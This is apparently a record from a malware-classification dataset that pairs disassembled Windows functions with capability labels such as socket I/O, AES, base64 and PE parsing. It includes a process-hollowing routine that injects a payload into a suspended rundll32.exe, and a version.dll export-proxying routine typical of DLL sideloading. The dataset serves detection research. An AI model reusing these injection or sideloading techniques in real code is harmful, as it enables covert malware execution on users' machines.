joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005b840
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14005b9e8
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14005b8a5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14005b8a5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14005b8a5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14005b8dc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14005b932
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005b932
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005b932
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005b932
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005b932
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14005b2f0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14005b994
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140037a70
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14005b6c0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005b9e0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140037a70
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14005d150
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14008e080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14005d1e5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14005d246
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140037a70
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400703b0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14005d301
sub ecx, 1
je 0x14005d374
sub ecx, 1
je 0x14005d2b0
cmp ecx, 1
je 0x14005d293
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x14007bc20]
call fcn.140037a70
jmp 0x14005d374
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14005ce80
test eax, eax
je 0x14005d374
jmp 0x14005d21a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14005d374
sub rax, rsi
cmp rax, rbp
jae 0x14005d374
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140037bf0
jmp 0x14005d374
cmp r8d, 4
jle 0x14005d374
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14005d374
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140037990
mov esi, eax
test eax, eax
je 0x14005d353
mov edx, 5
mov rcx, rbx
call fcn.14005de40
mov eax, esi
jmp 0x14005d21a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140046270
mov rcx, r14
call fcn.140046550
test eax, eax
je 0x14005d218
mov edx, 5
mov rcx, rbx
call fcn.14005de40
mov eax, Ordinal_46
jmp 0x14005d21a
Function at 0x140070110
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140070152
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140070199
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400701f2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400701b0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140070233
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400813aa]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400813ab]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140070200
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400711c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007120e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007120e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007120e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007120e
cmp dword [rcx + 0x84], 0xe
jbe 0x14007120e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140071210
xor al, al
add rsp, 0x28
ret
Function at 0x1800013f0
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
mov r8, rcx
movd xmm2, edx
lea rcx, str.kernel32.dll
mov r9d, 0x10
sub rcx, r8
pshufd xmm2, xmm2, 0
nop
movzx eax, byte [rcx + r8]
lea r8, [r8 + 1]
mov byte [r8 - 1], al
dec r9
jne 0x180001410
movdqa xmm1, xmmword [0x180013590]
xorps xmm0, xmm0
mov eax, 4
paddd xmm1, xmm0
movdqu xmm0, xmmword [r10]
paddd xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [r10], xmm1
cmp rax, rax
jge 0x18000145f
lea ecx, [rdx + 4]
xor dword [r10 + rax*4], ecx
inc rax
inc ecx
cmp rax, 4
jl 0x180001450
ret
Function at 0x1800023a0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
lea r9, [rdx*4]
mov rsi, rdx
movabs rax, 0xaaaaaaaaaaaaaaab
mov r14, r8
mov rbx, rcx
mov qword [r8], 0
mul r9
mov r9, rdx
movabs rax, 0xe38e38e38e38e38f
shr r9, 1
add r9, 4
mul r9
lea rbp, [r9 + 1]
shr rdx, 6
add rbp, rdx
cmp rbp, rsi
jae 0x180002408
xor eax, eax
jmp 0x180002537
lea rdx, [rbp + 1]
xor ecx, ecx
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x180002532
lea r8, [rbp + 1]
xor edx, edx
mov rcx, rax
call fcn.180004070
lea r9, [rbx + rsi]
mov rax, rdi
mov r8, r9
lea r10, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
sub r8, rbx
cmp r8, 3
jl 0x1800024be
nop dword [rax]
movzx ecx, byte [rbx]
sub r8, 3
add rax, 4
shr rcx, 2
add rbx, 3
movzx ecx, byte [rcx + r10]
mov byte [rax - 4], cl
movzx ecx, byte [rbx - 3]
and ecx, 3
shl ecx, 4
movsxd rdx, ecx
movzx ecx, byte [rbx - 2]
shr ecx, 4
or rdx, rcx
movzx ecx, byte [rdx + r10]
mov byte [rax - 3], cl
movzx ecx, byte [rbx - 2]
and ecx, 0xf
shl ecx, 2
movsxd rdx, ecx
movzx ecx, byte [rbx - 1]
shr ecx, 6
or rdx, rcx
movzx ecx, byte [rdx + r10]
mov byte [rax - 2], cl
movzx ecx, byte [rbx - 1]
and ecx, 0x3f
movzx ecx, byte [rcx + r10]
mov byte [rax - 1], cl
cmp r8, 3
jge 0x180002450
sub r9, rbx
je 0x180002526
movzx ecx, byte [rbx]
shr rcx, 2
movzx ecx, byte [rcx + r10]
mov byte [rax], cl
movzx ecx, byte [rbx]
and ecx, 3
shl ecx, 4
cmp r9, 1
jne 0x1800024f1
movsxd rcx, ecx
movzx ecx, byte [rcx + r10]
mov byte [rax + 1], cl
mov byte [rax + 2], 0x3d
jmp 0x18000251b
movsxd rdx, ecx
movzx ecx, byte [rbx + 1]
shr ecx, 4
or rdx, rcx
movzx ecx, byte [rdx + r10]
mov byte [rax + 1], cl
movzx ecx, byte [rbx + 1]
and ecx, 0xf
shl ecx, 2
movsxd rcx, ecx
movzx ecx, byte [rcx + r10]
mov byte [rax + 2], cl
add rax, 3
inc rax
mov byte [rax - 1], 0x3d
mov byte [rax], 0
sub rax, rdi
mov qword [r14], rax
mov rax, rdi
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800028c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
add rcx, 2
mov ebp, 4
nop dword [rax]
movzx esi, byte [rcx - 2]
movzx r9d, byte [rcx - 1]
movzx edi, byte [rcx + 1]
movzx r11d, byte [rcx]
movzx r8d, sil
movzx r10d, dil
xor r8b, r9b
xor r10b, r11b
mov al, 0x1b
movzx edx, r8b
add r8b, r8b
movzx ebx, r10b
shr dl, 7
xor bl, sil
lea rcx, [rcx + 4]
xor bl, r9b
imul dl
xor al, r8b
movzx r8d, r9b
xor al, sil
xor r8b, r11b
xor sil, dil
xor al, bl
movzx edx, r8b
add r8b, r8b
mov byte [rcx - 6], al
shr dl, 7
mov al, 0x1b
imul dl
xor al, r8b
movzx edx, r10b
xor al, r9b
shr dl, 7
add r10b, r10b
xor al, bl
mov byte [rcx - 5], al
mov al, 0x1b
imul dl
xor al, r10b
movzx edx, sil
xor al, r11b
shr dl, 7
add sil, sil
xor al, bl
mov byte [rcx - 4], al
mov al, 0x1b
imul dl
xor al, sil
xor al, dil
xor al, bl
mov byte [rcx - 3], al
dec rbp
jne 0x1800028e0
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x180002df0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rdi, rdx
mov rbp, rdx
mov rbx, rcx
mov r8, rcx
mov r9d, 4
sub rdi, rcx
nop
mov ecx, 4
nop word [rax + rax]
movzx eax, byte [rdi + r8]
inc r8
xor byte [r8 - 1], al
dec rcx
jne 0x180002e30
dec r9
jne 0x180002e20
mov sil, 1
lea r14, str.cw
mov r8, rbx
mov r9d, 4
nop dword [rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + r14]
mov byte [rcx - 4], al
dec rdx
jne 0x180002e70
inc r8
dec r9
jne 0x180002e60
movzx eax, byte [rbx + 5]
movzx ecx, byte [rbx + 1]
mov byte [rbx + 1], al
movzx eax, byte [rbx + 9]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xd]
mov byte [rbx + 0xd], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 7], cl
mov byte [rbx + 0xb], al
cmp sil, 0xa
je 0x180002f3d
mov rcx, rbx
call fcn.1800028c0
movzx r8d, sil
mov rax, rbx
shl r8, 4
mov r9d, 4
sub r8, rbx
add r8, rbp
nop word [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
xor byte [rax - 1], cl
dec rdx
jne 0x180002f20
dec r9
jne 0x180002f10
inc sil
jmp 0x180002e50
mov edx, 4
nop dword [rax]
nop word [rax + rax]
mov ecx, 4
nop word [rax + rax]
movzx eax, byte [rdi + rbx + 0xa0]
inc rbx
xor byte [rbx - 1], al
dec rcx
jne 0x180002f60
dec rdx
jne 0x180002f50
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x180002fa0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov r10, rdx
mov rsi, rdx
mov rbx, rcx
mov r8, rcx
mov r11d, 4
sub r10, rcx
nop dword [rax]
mov r9d, 4
nop word [rax + rax]
movzx eax, byte [r10 + r8 + 0xa0]
inc r8
xor byte [r8 - 1], al
dec r9
jne 0x180002fe0
dec r11
jne 0x180002fd0
mov dil, 9
lea rbp, [0x180013490]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbx + 9]
movzx ecx, byte [rbx + 0xd]
mov r8, rbx
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov r9d, 4
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xf], cl
mov byte [rbx + 0xb], al
nop dword [rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + rbp]
mov byte [rcx - 4], al
dec rdx
jne 0x180003080
inc r8
dec r9
jne 0x180003070
movzx r8d, dil
mov rax, rbx
lea r9d, [rdx + 4]
shl r8, 4
sub r8, rbx
add r8, rsi
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
xor byte [rax - 1], cl
dec rdx
jne 0x1800030c0
dec r9
jne 0x1800030b0
test dil, dil
je 0x1800030eb
mov rcx, rbx
call fcn.1800029a0
add dil, 0xff
jmp 0x180003010
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180003100
Capabilities:
Encode data using xor

Disassembly:
test r8d, r8d
je 0x180003193
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x20
mov qword [rsp + 0x30], rdi
mov rdi, rcx
mov esi, r8d
sub rdi, rdx
mov rbx, rdx
mov rbp, rcx
add rdi, 0xb0
dec rsi
shr rsi, 4
inc rsi
nop dword [rax]
movups xmm0, xmmword [rbx]
mov rdx, rbp
mov rcx, rbx
call fcn.180002fa0
mov ecx, 0x10
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
inc rbx
xor byte [rbx - 1], al
dec rcx
jne 0x180003160
sub rdi, 0x10
movups xmmword [rbp + 0xb0], xmm0
dec rsi
jne 0x180003140
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
sub rsp, 0x5c8
mov edx, 0x68
lea rcx, [rsp + 0x80]
call section..text
mov dword [rsp + 0x80], 0x68
call fcn.180001260
test eax, eax
je 0x180001202
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x1000044
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180043218]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x18000114c
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x180001202
mov dword [rsp + 0x120], 0x100003
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x40000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x40000
lea r8, str.MZARUH
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x180002850
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x490
mov rax, qword [0x180029018]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov r8d, eax
lea ecx, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsi], rax
mov qword [rsi + 8], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x438
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x1800028de
mov rcx, rbx
cmp qword [rsp + 0x68], rdi
je 0x180002943
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x1800028c5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
xorps xmm0, xmm0
mov dword [rsi + 0x10], eax
lea rcx, [rsi + 0x18]
mov qword [rsi + 0x30], 0
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x30], 0
movdqu xmmword [rsp + 0x20], xmm0
call fcn.180002950
lea rcx, [rsp + 0x20]
call fcn.180002a10
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.180006eb0
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x60]
jmp 0x1800028e9
Function at 0x180002fa0
Capabilities:
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x450
mov rax, qword [0x180029018]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.180008cf0
xor edx, edx
lea rcx, [rsp + 0x230]
mov r8d, 0x208
call fcn.180008cf0
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov rcx, qword [0x18002ad58]
lea rdx, [rsp + 0x230]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x5c
lea rcx, [rsp + 0x230]
call fcn.1800084a4
mov r8, rax
lea rcx, [rsp + 0x20]
mov edx, 0x104
lea rdi, [rax + 2]
call fcn.18000c0fc
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x18002ad60], rax
test rax, rax
jne 0x18000305a
lea ecx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movzx eax, word [rdi]
xor ebx, ebx
test ax, ax
je 0x1800030ad
mov qword [rsp + 0x460], rsi
mov esi, ebx
mov qword [rsp + 0x468], r14
mov r14, rdi
nop dword [rax]
movzx ecx, ax
call fcn.18000c0d0
mov word [r14], ax
lea rsi, [rsi + 1]
movzx eax, word [rdi + rsi*2]
lea r14, [rdi + rsi*2]
test ax, ax
jne 0x180003080
mov r14, qword [rsp + 0x468]
mov rsi, qword [rsp + 0x460]
lea rcx, [0x180025ca0]
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rdi + rbx*2]
cmp ax, word [rcx + rbx*2]
jne 0x18000322b
movzx eax, word [rdi + rbx*2 + 2]
cmp ax, word [rcx + rbx*2 + 2]
jne 0x18000322b
add rbx, 2
cmp rbx, 0xc
jne 0x1800030c0
lea rdx, [sym.version.dll_GetFileVersionInfoA]
lea rcx, [0x180025cb8]
call fcn.180003250
lea rdx, [sym.version.dll_GetFileVersionInfoByHandle]
lea rcx, [0x180025cd0]
call fcn.180003250
lea rdx, [sym.version.dll_GetFileVersionInfoExW]
lea rcx, [0x180025cf0]
call fcn.180003250
lea rdx, [sym.version.dll_GetFileVersionInfoSizeA]
lea rcx, [0x180025d08]
call fcn.180003250
lea rdx, [sym.version.dll_GetFileVersionInfoSizeExW]
lea rcx, [0x180025d20]
call fcn.180003250
lea rdx, [sym.version.dll_GetFileVersionInfoSizeW]
lea rcx, [0x180025d40]
call fcn.180003250
lea rdx, [sym.version.dll_GetFileVersionInfoW]
lea rcx, [0x180025d58]
call fcn.180003250
lea rdx, [sym.version.dll_VerFindFileA]
lea rcx, [0x180025d70]
call fcn.180003250
lea rdx, [sym.version.dll_VerFindFileW]
lea rcx, [0x180025d80]
call fcn.180003250
lea rdx, [sym.version.dll_VerInstallFileA]
lea rcx, [0x180025d90]
call fcn.180003250
lea rdx, [sym.version.dll_VerInstallFileW]
lea rcx, [0x180025da0]
call fcn.180003250
lea rdx, [sym.version.dll_VerLanguageNameA]
lea rcx, [0x180025db0]
call fcn.180003250
lea rdx, [sym.version.dll_VerLanguageNameW]
lea rcx, [0x180025dc8]
call fcn.180003250
lea rdx, [sym.version.dll_VerQueryValueA]
lea rcx, [0x180025de0]
call fcn.180003250
lea rdx, [sym.version.dll_VerQueryValueW]
lea rcx, [0x180025df0]
call fcn.180003250
lea rdx, [sym.version.dll_VerQueryValueIndexA]
lea rcx, [0x180025e00]
call fcn.180003250
lea rdx, [sym.version.dll_VerQueryValueIndexW]
lea rcx, [0x180025e18]
call fcn.180003250
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.180006eb0
mov rbx, qword [rsp + 0x470]
add rsp, 0x450
pop rdi
ret